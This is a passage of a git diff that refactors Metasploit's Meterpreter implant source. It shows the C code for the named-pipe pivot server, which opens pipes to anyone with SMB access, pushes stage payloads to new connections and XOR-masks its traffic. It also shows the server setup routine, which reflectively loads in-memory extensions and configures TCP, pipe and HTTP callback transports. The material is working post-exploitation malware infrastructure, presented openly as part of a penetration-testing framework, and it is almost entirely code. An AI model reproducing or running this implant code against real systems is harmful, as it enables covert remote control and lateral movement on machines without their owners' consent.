Creating new server instance of %s", ctx->name); + + BOOL wasEnabled; + DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); + + if (toggleResult == ERROR_SUCCESS) + { + // set up a session that let's anyone with SMB access connect + SECURITY_ATTRIBUTES sa = { 0 }; + create_pipe_security_attributes(&sa); + ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, &sa); + + if (wasEnabled == FALSE) + { + toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); + } + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + // Fallback on a pipe with simpler security attributes + ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, NULL); + } + + if (ctx->pipe == INVALID_HANDLE_VALUE) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create named pipe."); + } + + dprintf("[NP-SERVER] Creating the handler event"); + // This must be signalled, so that the connect event kicks off on the new thread. + ctx->read_overlap.hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); + if (ctx->read_overlap.hEvent == NULL) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); + } + + // this should not be signalled as it's just for handling named pipe writes. + ctx->write_overlap.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (ctx->write_overlap.hEvent == NULL) + { + BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); + } + + dprintf("[NP-SERVER] Inserting the named pipe schedule entry"); + scheduler_insert_waitable(ctx->read_overlap.hEvent, ctx, NULL, server_notify, server_destroy); + } while (0); + + return dwResult; +} + +/*! + * @brief Deallocates and cleans up the attributes of a named pipe server context. + * @param ctx Pointer to the context to free. + */ +static VOID free_server_context(NamedPipeContext* ctx) +{ + do + { + if (!ctx) + { + break; + } + + dprintf("[NP-SERVER] free_server_context. ctx=0x%08X", ctx); + + dprintf("[NP-SERVER] freeing up pipe handle 0x%x", ctx->pipe); + if (ctx->pipe != INVALID_HANDLE_VALUE && ctx->pipe != INVALID_HANDLE_VALUE) + { + CloseHandle(ctx->pipe); + ctx->pipe = INVALID_HANDLE_VALUE; + } + + if (ctx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] free_server_context. signaling the thread to stop"); + scheduler_signal_waitable(ctx->read_overlap.hEvent, SchedulerStop); + ctx->read_overlap.hEvent = NULL; + } + + if (ctx->write_overlap.hEvent != NULL) + { + CloseHandle(ctx->write_overlap.hEvent); + ctx->write_overlap.hEvent = NULL; + } + + SAFE_FREE(ctx->packet_buffer); + + free(ctx); + + } while (0); +} + +/*! + * @brief Notify routine for a named pipe server channel to pick up its new client connections.. + * @param remote Pointer to the remote instance. + * @param serverCtx Pointer to the named pipe server context. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Notification completed successfully. + */ +static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet* request = NULL; + NamedPipeContext* serverCtx = (NamedPipeContext*)entryContext; + BOOL performRead = FALSE; + + do + { + if (!serverCtx) + { + BREAK_WITH_ERROR("[NP-SERVER] server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); + } + + if (serverCtx->pipe == INVALID_HANDLE_VALUE) + { + BREAK_WITH_ERROR("[NP-SERVER] pipe isn't present, we might be shutting down.", ERROR_INVALID_HANDLE); + } + + if (!serverCtx->connecting) + { + serverCtx->connecting = TRUE; + dprintf("[NP-SERVER] Connecting to the named pipe async"); + ConnectNamedPipe(serverCtx->pipe, &serverCtx->read_overlap); + + dwResult = GetLastError(); + dprintf("[NP-SERVER] checking the result of connect %u 0x%x", dwResult, dwResult); + if (dwResult == ERROR_IO_PENDING) + { + dprintf("[NP-SERVER] still waiting for an overlapped connection"); + break; + } + else if (dwResult == ERROR_PIPE_LISTENING) + { + dprintf("[NP-SERVER] client has connected apparently"); + serverCtx->established = TRUE; + // no break here, we want to continue + } + else + { + BREAK_WITH_ERROR("[NP-SERVER] Failed to connect to the named pipe", dwResult); + } + dwResult = ERROR_SUCCESS; + } + + DWORD bytesProcessed = 0; + dprintf("[NP-SERVER] Checking the overlapped result"); + if (!GetOverlappedResult(serverCtx->pipe, &serverCtx->read_overlap, &bytesProcessed, FALSE)) + { + dwResult = GetLastError(); + dprintf("[NP-SERVER] server_notify. unable to get the result, %u", dwResult); + + if (dwResult == ERROR_IO_INCOMPLETE) + { + dprintf("[NP-SERVER] still waiting for something to happen on the pipe"); + } + else if (dwResult == ERROR_BROKEN_PIPE) + { + dprintf("[NP-SERVER] the client appears to have bailed out, disconnecting..."); + // Reset the read event so that our schedular loop witll exit properly + ResetEvent(serverCtx->read_overlap.hEvent); + + // Prepare the notification packet for dispatching + Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_died"); + packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&serverCtx->pivot_session_guid, sizeof(serverCtx->pivot_session_guid)); + + // Clean up the pivot context + PivotContext* pivotCtx = pivot_tree_remove(remote->pivot_sessions, (LPBYTE)&serverCtx->pivot_session_guid); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot sessions (after one removed)"); + dbgprint_pivot_tree(remote->pivot_sessions); +#endif + SAFE_FREE(pivotCtx); + + // Clean up all the named pipe context stuff. + terminate_pipe(serverCtx); + + // Inform MSF of the dead session + packet_transmit(serverCtx->remote, notification, NULL); + + return ERROR_BROKEN_PIPE; + } + break; + } + + // spin up a new named pipe server instance to handle the next connection if this + // connection is new. + dprintf("[NP-SERVER] Apparently we have a result! With %u bytes", bytesProcessed); + if (!serverCtx->established) + { + // this is a connect, so tell MSF about it. + dprintf("[NP-SERVER] This appears to be a new connection, setting up context."); + + // Connection received, here we're going to create a new named pipe handle so that + // other connections can come in on it. We'll assume that it if worked once, it + // will work again this time + NamedPipeContext* nextCtx = (NamedPipeContext*)calloc(1, sizeof(NamedPipeContext)); + + // copy the relevant content over. + nextCtx->pipe = INVALID_HANDLE_VALUE; + nextCtx->remote = serverCtx->remote; + nextCtx->stage_data = serverCtx->stage_data; + nextCtx->stage_data_size = serverCtx->stage_data_size; + nextCtx->write_lock = lock_create(); + memcpy_s(&nextCtx->pivot_id, sizeof(nextCtx->pivot_id), &serverCtx->pivot_id, sizeof(nextCtx->pivot_id)); + memcpy_s(&nextCtx->name, PIPE_NAME_SIZE, &serverCtx->name, PIPE_NAME_SIZE); + + // create a new pipe for the next connection + DWORD result = create_pipe_server_instance(nextCtx); + if (result != ERROR_SUCCESS) + { + dprintf("[NP-SERVER] failed to create the pipe server instance: %u", result); + free_server_context(nextCtx); + } + + serverCtx->established = TRUE; + + // The current listener cotnext in the listeners tree points to the server instance that has now + // become a client instance due to the new connection. Therefore we need to update the pivot tree context + // to point to the new listener on the named pipe. + PivotContext* listenerCtx = pivot_tree_find(remote->pivot_listeners, (LPBYTE)&serverCtx->pivot_id); + if (listenerCtx != NULL) + { + dprintf("[NP-SERVER] Updating the listener context in the pivot tree"); + listenerCtx->state = nextCtx; + } + + // Time to stage the data + if (serverCtx->stage_data && serverCtx->stage_data_size > 0) + { + dprintf("[NP-SERVER] Sending stage on new connection"); + // send the stage length + named_pipe_write_raw(serverCtx, (LPBYTE)&serverCtx->stage_data_size, sizeof(serverCtx->stage_data_size)); + + // send the stage + named_pipe_write_raw(serverCtx, serverCtx->stage_data, serverCtx->stage_data_size); + + // to "hand over" the stage data, set the existing pointer to NULL so that things don't get freed + // when they shouldn't be. + serverCtx->stage_data = NULL; + } + + // We need to figure out if this is a new session without a session GUID or if it's an old + // session that's come back out of nowhere (transport switching, sleeping, etc). Create a packet + // that will request the guid, and track a random request ID to find the response later on. + dprintf("[NP-SERVER] Creating the guid request packet"); + Packet* getGuidPacket = packet_create(PACKET_TLV_TYPE_REQUEST, "core_get_session_guid"); + dprintf("[NP-SERVER] adding the request ID to the guid request packet"); + packet_add_request_id(getGuidPacket); + CHAR* requestId = packet_get_tlv_value_string(getGuidPacket, TLV_TYPE_REQUEST_ID); + dprintf("[NP-SERVER] Copying the request ID from the packet to the context"); + memcpy(serverCtx->guid_request_id, requestId, sizeof(serverCtx->guid_request_id)); + + // prepare the packet buffer for sending. + DWORD packetLength = getGuidPacket->payloadLength + sizeof(PacketHeader); + dprintf("[NP-SERVER] We think the packet length is %u (0x%x)", packetLength, packetLength); + LPBYTE packetBuffer = (LPBYTE)malloc(packetLength); + + dprintf("[NP-SERVER] Doing the XOR thing on the guid request packet"); + rand_xor_key(getGuidPacket->header.xor_key); + memcpy(packetBuffer, &getGuidPacket->header, sizeof(getGuidPacket->header)); + memcpy(packetBuffer + sizeof(getGuidPacket->header), getGuidPacket->payload, packetLength - sizeof(getGuidPacket->header)); + + // we don't support encryption at this point, but we do want to do the XOR thing! + xor_bytes(getGuidPacket->header.xor_key, packetBuffer + sizeof(getGuidPacket->header.xor_key), packetLength - sizeof(getGuidPacket->header.xor_key)); + + dprintf("[NP-SERVER] Sending the request packet to the new pivoted session"); + // Send the packet down to the newly created meterpreter session on the named pipe + named_pipe_write_raw(serverCtx, packetBuffer, packetLength); + + dprintf("[NP-SERVER] Freeing up the packet buffer"); + free(packetBuffer); + dprintf("[NP-SERVER] Done!"); + } + + if (bytesProcessed > 0) + { + dprintf("[NP-SERVER] read & sending bytes %u", bytesProcessed); + read_pipe_to_packet(serverCtx, serverCtx->read_buffer, bytesProcessed); + } + + performRead = TRUE; + } while (0); + + if (serverCtx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] Resetting the event handle"); + ResetEvent(serverCtx->read_overlap.hEvent); + } + + // this has to be done after the signal is reset, otherwise ... STRANGE THINGS HAPPEN! + if (performRead) + { + // prepare for reading + serverCtx->read_overlap.Offset = 0; + serverCtx->read_overlap.OffsetHigh = 0; + + // read the data from the pipe, we're async, so the return value of the function is meaningless. + dprintf("[NP-SERVER] kicking off another read operation..."); + ReadFile(serverCtx->pipe, serverCtx->read_buffer, PIPE_BUFFER_SIZE, NULL, &serverCtx->read_overlap); + } + + return dwResult; +} + +/*! + * @brief Allocates a streaming named pipe server channel. + * @param remote Pointer to the remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Opening the server channel completed successfully. + */ +DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet) +{ + DWORD dwResult = ERROR_SUCCESS; + NamedPipeContext* ctx = NULL; + Packet* response = NULL; + char* namedPipeName = NULL; + char* namedPipeServer = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); + } + + ctx = (NamedPipeContext *)calloc(1, sizeof(NamedPipeContext)); + if (!ctx) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); + } + + ctx->remote = remote; + ctx->write_lock = lock_create(); + + namedPipeName = packet_get_tlv_value_string(packet, TLV_TYPE_PIVOT_NAMED_PIPE_NAME); + if (!namedPipeName) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName == NULL", ERROR_INVALID_PARAMETER); + } + + if (strchr(namedPipeName, '\\') != NULL) + { + BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName contains backslash (invalid)", ERROR_INVALID_PARAMETER); + } + + //namedPipeServer = packet_get_tlv_value_string(packet, TLV_TYPE_NAMED_PIPE_SERVER); + if (namedPipeServer == NULL) + { + namedPipeServer = "."; + } + + LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); + if (pivotId != NULL) + { + memcpy(&ctx->pivot_id, pivotId, sizeof(ctx->pivot_id)); + } + + LPVOID stageData = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_STAGE_DATA); + ctx->stage_data_size = packet_get_tlv_value_uint(packet, TLV_TYPE_PIVOT_STAGE_DATA_SIZE); + + if (stageData && ctx->stage_data_size > 0) + { + dprintf("[NP-SEVER] stage received, size is %u (%x)", ctx->stage_data_size, ctx->stage_data_size); + ctx->stage_data = (LPVOID)malloc(ctx->stage_data_size); + memcpy(ctx->stage_data, stageData, ctx->stage_data_size); + } + + // Default to invalid handle. + ctx->pipe = INVALID_HANDLE_VALUE; + + _snprintf_s(ctx->name, PIPE_NAME_SIZE, PIPE_NAME_SIZE - 1, "\\\\%s\\pipe\\%s", namedPipeServer, namedPipeName); + + dwResult = create_pipe_server_instance(ctx); + + dprintf("[NP-SERVER] creation of the named pipe returned: %d 0x%x", dwResult, dwResult); + + if (dwResult == ERROR_SUCCESS) + { + dprintf("[NP-SERVER] request_net_named_pipe_server_channel_open. named pipe server %s", namedPipeName); + PivotContext* pivotCtx = (PivotContext*)calloc(1, sizeof(PivotContext)); + pivotCtx->state = ctx; + pivotCtx->remove = remove_listener; + pivot_tree_add(remote->pivot_listeners, pivotId, pivotCtx); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot listeners (after new one added)"); + dbgprint_pivot_tree(remote->pivot_listeners); +#endif + } + + } while (0); + + packet_transmit_response(dwResult, remote, response); + + do + { + if (dwResult == ERROR_SUCCESS) + { + break; + } + + dprintf("[NP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); + + if (!ctx) + { + break; + } + + if (ctx->write_lock != NULL) + { + lock_destroy(ctx->write_lock); + } + + if (ctx->read_overlap.hEvent != NULL) + { + dprintf("[NP-SERVER] Destroying wait handle"); + CloseHandle(ctx->read_overlap.hEvent); + } + + if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) + { + dprintf("[NP-SERVER] Destroying pipe"); + CloseHandle(ctx->pipe); + } + + free(ctx); + + } while (0); + + return dwResult; } \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot_named_pipe.h b/c/meterpreter/source/metsrv/server_pivot_named_pipe.h old mode 100755 new mode 100644 similarity index 56% rename from c/meterpreter/source/server/win/server_pivot_named_pipe.h rename to c/meterpreter/source/metsrv/server_pivot_named_pipe.h index f4d9fb65..2e7dad84 --- a/c/meterpreter/source/server/win/server_pivot_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.h @@ -1,8 +1,8 @@ -#ifndef _METERPRETER_SERVER_PIVOT_NAMED_PIPE -#define _METERPRETER_SERVER_PIVOT_NAMED_PIPE - +#ifndef _METERPRETER_METSRV_PIVOT_NAMED_PIPE +#define _METERPRETER_METSRV_PIVOT_NAMED_PIPE + typedef struct _NamedPipeContext NamedPipeContext; - -DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet); + +DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/server_setup_win.c b/c/meterpreter/source/metsrv/server_setup.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/server_setup_win.c rename to c/meterpreter/source/metsrv/server_setup.c index af9e3063..51a14049 --- a/c/meterpreter/source/server/server_setup_win.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -1,526 +1,525 @@ -/*! - * @file server_setup.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include - -#include "win/server_transport_winhttp.h" -#include "win/server_transport_tcp.h" -#include "win/server_transport_named_pipe.h" -#include "../../common/packet_encryption.h" - -extern Command* extensionCommands; - -// include the Reflectiveloader() function -#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - -int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) -{ - return EXCEPTION_EXECUTE_HANDLER; -} - -#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } - -/*! - * @brief Get the session id that this meterpreter server is running in. - * @return ID of the current server session. - */ -DWORD server_sessionid() -{ - typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); - - static PROCESSIDTOSESSIONID processIdToSessionId = NULL; - HMODULE kernel = NULL; - DWORD sessionId = 0; - - do - { - if (!processIdToSessionId) - { - kernel = LoadLibraryA("kernel32.dll"); - if (kernel) - { - processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId"); - } - } - - if (!processIdToSessionId) - { - break; - } - - if (!processIdToSessionId(GetCurrentProcessId(), &sessionId)) - { - sessionId = -1; - } - - } while( 0 ); - - if (kernel) - { - FreeLibrary(kernel); - } - - return sessionId; -} - -/*! - * @brief Load any stageless extensions that might be present in the current payload. - * @param remote Pointer to the remote instance. +/*! + * @file server_setup.c + */ +#include "metsrv.h" +#include + +#include "server_transport_winhttp.h" +#include "server_transport_tcp.h" +#include "server_transport_named_pipe.h" +#include "packet_encryption.h" + +extern Command* extensionCommands; + +// include the Reflectiveloader() function +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) +{ + return EXCEPTION_EXECUTE_HANDLER; +} + +#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } + +/*! + * @brief Get the session id that this meterpreter server is running in. + * @return ID of the current server session. + */ +DWORD server_sessionid() +{ + typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); + + static PROCESSIDTOSESSIONID processIdToSessionId = NULL; + HMODULE kernel = NULL; + DWORD sessionId = 0; + + do + { + if (!processIdToSessionId) + { + kernel = LoadLibraryA("kernel32.dll"); + if (kernel) + { + processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId"); + } + } + + if (!processIdToSessionId) + { + break; + } + + if (!processIdToSessionId(GetCurrentProcessId(), &sessionId)) + { + sessionId = -1; + } + + } while( 0 ); + + if (kernel) + { + FreeLibrary(kernel); + } + + return sessionId; +} + +/*! + * @brief Load any stageless extensions that might be present in the current payload. + * @param remote Pointer to the remote instance. * @param fd The socket descriptor passed to metsrv during intialisation. - * @return Pointer to the end of the configuration. - */ -LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) -{ - while (stagelessExtensions->size > 0) - { - dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size); - load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); - stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); - } - - dprintf("[SERVER] All stageless extensions loaded"); - - // once we have reached the end, we may have extension initializers - LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); - - while (*initData != '\0') - { - const char* extensionName = (const char*)initData; - LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD); - DWORD dataSize = *(DWORD*)(data - sizeof(DWORD)); - dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize); - stagelessinit_extension(extensionName, data, dataSize); - initData = data + dataSize; - } - - dprintf("[SERVER] All stageless extensions initialised"); - return initData; -} - -static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) -{ - Transport* transport = NULL; - dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); - dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); - dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); - dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); - - if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) - { - transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); - } - else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) - { - transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); - } - else - { - transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); - } - - if (transport == NULL) - { - // something went wrong - return NULL; - } - - // always insert at the tail. The first transport will be the one that kicked everything off - if (remote->transport == NULL) - { - // point to itself, as this is the first transport. - transport->next_transport = transport->prev_transport = transport; - remote->transport = transport; - } - else - { - transport->prev_transport = remote->transport->prev_transport; - transport->next_transport = remote->transport; - - remote->transport->prev_transport->next_transport = transport; - remote->transport->prev_transport = transport; - } - - return transport; -} - -static void append_transport(Transport** list, Transport* newTransport) -{ - if (*list == NULL) - { - // point to itself! - newTransport->next_transport = newTransport->prev_transport = newTransport; - *list = newTransport; - } - else - { - // always insert at the tail - newTransport->prev_transport = (*list)->prev_transport; - newTransport->next_transport = (*list); - - (*list)->prev_transport->next_transport = newTransport; - (*list)->prev_transport = newTransport; - } -} - -static void remove_transport(Remote* remote, Transport* oldTransport) -{ - // if we point to ourself, then we're the last one - if (remote->transport->next_transport == remote->transport) - { - remote->transport = NULL; - } - else - { - // if we're removing the current one we need to move the pointer to the - // next one in the list. - if (remote->transport == oldTransport) - { - remote->transport = remote->transport->next_transport; - } - - oldTransport->prev_transport->next_transport = oldTransport->next_transport; - oldTransport->next_transport->prev_transport = oldTransport->prev_transport; - } - - oldTransport->transport_destroy(oldTransport); -} - -static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) -{ - DWORD totalSize = 0; - MetsrvTransportCommon* current = transports; - - // The first part of the transport is always the URL, if it's NULL, we are done. - while (current->url[0] != 0) - { - DWORD size; - if (create_transport(remote, current, &size) != NULL) - { - dprintf("[TRANS] transport created of size %u", size); - totalSize += size; - - // go to the next transport based on the size of the existing one. - current = (MetsrvTransportCommon*)((LPBYTE)current + size); - } - else - { - // This is not good - return FALSE; - } - } - - // account for the last terminating NULL wchar - *parsedSize = totalSize + sizeof(wchar_t); - - return TRUE; -} - -static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) -{ - // This function is really only used for migration purposes. - DWORD s = sizeof(MetsrvSession); - MetsrvSession* sess = (MetsrvSession*)malloc(s); - ZeroMemory(sess, s); - - dprintf("[CONFIG] preparing the configuration"); - - // start by preparing the session, using the given UUID if specified, otherwise using - // the existing session UUID - memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); - // session GUID should persist across migration - memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); - sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); - sess->exit_func = EXITFUNC_THREAD; // migration we default to this. - - Transport* current = remote->transport; - Transport* t = remote->transport; - do - { - // extend memory appropriately - DWORD neededSize = t->get_config_size(t); - - dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); - - sess = (MetsrvSession*)realloc(sess, s + neededSize); - - // load up the transport specifics - LPBYTE target = (LPBYTE)sess + s; - - ZeroMemory(target, neededSize); - s += neededSize; - - if (t == current && t->get_handle != NULL) - { - sess->comms_handle.handle = t->get_handle(t); - dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); - } - - switch (t->type) - { - case METERPRETER_TRANSPORT_TCP: - { - transport_write_tcp_config(t, (MetsrvTransportTcp*)target); - break; - } - case METERPRETER_TRANSPORT_PIPE: - { - transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); - break; - } - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - transport_write_http_config(t, (MetsrvTransportHttp*)target); - break; - } - } - - t = t->next_transport; - } while (t != current); - - // account for the last terminating NULL wchar so that the target knows the list has reached the end, - // as well as the end of the extensions list. We may support wiring up existing extensions later on. - DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD); - sess = (MetsrvSession*)realloc(sess, s + terminatorSize); - ZeroMemory((LPBYTE)sess + s, terminatorSize); - s += terminatorSize; - - // hand off the data - dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); - *size = s; - *config = (MetsrvConfig*)sess; -} - -/*! - * @brief Setup and run the server. This is called from Init via the loader. - * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. - * @return Meterpreter exit code (ignored by the caller). - */ -DWORD server_setup(MetsrvConfig* config) -{ - THREAD* serverThread = NULL; - Remote* remote = NULL; - char stationName[256] = { 0 }; - char desktopName[256] = { 0 }; - DWORD res = 0; - - dprintf("[SERVER] Initializing from configuration: 0x%p", config); - dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); - dprintf("[SESSION] Expiry: %u", config->session.expiry); - - dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], - config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], - config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], - config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); - - dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], - config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], - config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], - config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); - - disable_thread_error_reporting(); - - // if hAppInstance is still == NULL it means that we havent been - // reflectivly loaded so we must patch in the hAppInstance value - // for use with loading server extensions later. - InitAppInstance(); - - srand((unsigned int)time(NULL)); - - __try - { - do - { - dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); - - // Open a THREAD item for the servers main thread, we use this to manage migration later. - serverThread = thread_open(); - - dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); - - if (!(remote = remote_allocate())) - { - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - break; - } - - remote->sess_expiry_time = config->session.expiry; - remote->sess_start_time = current_unix_timestamp(); - remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; - - dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); - - DWORD transportSize = 0; - if (!create_transports(remote, config->transports, &transportSize)) - { - // not good, bail out! - SetLastError(ERROR_BAD_ARGUMENTS); - break; - } - - dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); - if (remote->transport->set_handle) - { - remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); - } - - // Set up the transport creation function pointer - remote->trans_create = create_transport; - // Set up the transport removal function pointer - remote->trans_remove = remove_transport; - // and the config creation pointer - remote->config_create = config_create; - - // Store our thread handle - remote->server_thread = serverThread->handle; - - dprintf("[SERVER] Registering dispatch routines..."); - register_dispatch_routines(); - - // this has to be done after dispatch routine are registered - LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); - + * @return Pointer to the end of the configuration. + */ +LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) +{ + while (stagelessExtensions->size > 0) + { + dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); + HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size); + load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); + stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); + } + + dprintf("[SERVER] All stageless extensions loaded"); + + // once we have reached the end, we may have extension initializers + LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); + + while (*initData != '\0') + { + const char* extensionName = (const char*)initData; + LPBYTE data = initData + strlen(extensionName) + 1 + sizeof(DWORD); + DWORD dataSize = *(DWORD*)(data - sizeof(DWORD)); + dprintf("[STAGELESS] init data at %p, name %s, size is %d", extensionName, extensionName, dataSize); + stagelessinit_extension(extensionName, data, dataSize); + initData = data + dataSize; + } + + dprintf("[SERVER] All stageless extensions initialised"); + return initData; +} + +static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) +{ + Transport* transport = NULL; + dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); + dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); + dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); + dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); + + if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) + { + transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); + } + else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) + { + transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); + } + else + { + transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); + } + + if (transport == NULL) + { + // something went wrong + return NULL; + } + + // always insert at the tail. The first transport will be the one that kicked everything off + if (remote->transport == NULL) + { + // point to itself, as this is the first transport. + transport->next_transport = transport->prev_transport = transport; + remote->transport = transport; + } + else + { + transport->prev_transport = remote->transport->prev_transport; + transport->next_transport = remote->transport; + + 